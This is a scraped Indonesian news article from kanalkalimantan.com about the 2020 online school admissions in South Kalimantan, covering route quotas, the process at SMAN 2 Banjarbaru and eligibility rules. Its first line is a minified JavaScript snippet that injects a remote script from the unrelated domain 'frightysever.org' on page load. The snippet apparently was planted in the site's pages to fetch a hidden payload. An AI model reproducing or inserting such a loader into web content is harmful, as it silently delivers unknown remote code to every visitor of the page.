(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Senin (29/6/2020) lusa, hari pertama dimulai penerimaan peserta didik baru (PPDB) SMA, SMK, dan SLB tahun 2020/2021. Berbeda dengan tahun sebelumnya, PPDB tahun ini digelar secara daring (online), lantaran kondisi yang disebabkan pandemi Covid-19.
Mengacu pada aturan, untuk PPDB hari pertama nantinya akan difokuskan pada jalur zonasi sebesar 50 persen dari total siswa yang diterima secara keseluruhan di tiap sekolah. Sedangkan, sisa 30 persen jalur prestasi, 15 persen jalur afirmasi dan 5 persen untuk jalur mutasi atau perpindahan orang tua.
Berbagai persiapan tengah dilakukan masing-masing sekolah. Mengingat dilaksanakan secara online, maka fasilitas perlu ditunjang untuk menyukseskan PPDB nantinya. Termasuk, aplikasi yang digunakan untuk menerima formulir pendaftaran para calon peserta didik secara online.
Contohnya saja di SMA Negeri 2 Banjarbaru yang telah menyiapkan aplikasi pendaftaran dari Disdikbud Kalsel, dikelola oleh salah satu perusahaan penyedia layanan dan jaringan telekomunikasi.
Kepala Sekolah SMAN 2 Banjarbaru Eksan Wasesa menjelaskan, mekanisme nantinya calon siswa akan mengirimkan formulir pendaftaran via online di aplikasi tersebut. Lalu, selanjutnya formulir tersebut akan diverifikasi oleh operator yang ada di sekolah.
“Calon siswa bisa mengetahui diterima atau tidaknya formulir tersebut melalui aplikasi ini. Cara mendaftar dan menggunakan aplikasi tersebut, para calon peserta didik baru bisa mengetahuinya di alamat web https://kalsel.siap-ppdb.com.,” katanya.
Jika ada calon siswa yang terkendala mengakses aplikasi PPDB ini, kata Eksan, maka pihak sekolah siap membantu secara manual. Dirinya meyakini kuota siswa yang dibutuhkan di SMAN 2 Banjarbaru akan terpenuhi, begitu pula dengan sekolah lainnya.
“Kuota yang tersedia di SMAN 2 Banjarbaru ada 10 rombongan belajar dengan total 324 siswa. Dari total ini 50 persennya, untuk jalur zonasi,” ujarnya.
Terkait persyaratan pendaftaran PPDB SMA sederajat tahun ini, Kepala Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalsel HM Yusuf Effendi mengatakan, para calon peserta didik harus berusia paling tinggi 21 tahun, sesuai akte kelahiran pada tanggal 1 Juli tahun pelajaran.
“Juga haru memiliki ijazah/STTB SMP/MTs atau sederajat. Serta, kartu keluarga (KK) yang dikeluarkan paling singkat satu tahun sebelum tanggal pendaftaran PPDB,” katanya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More
This website uses cookies.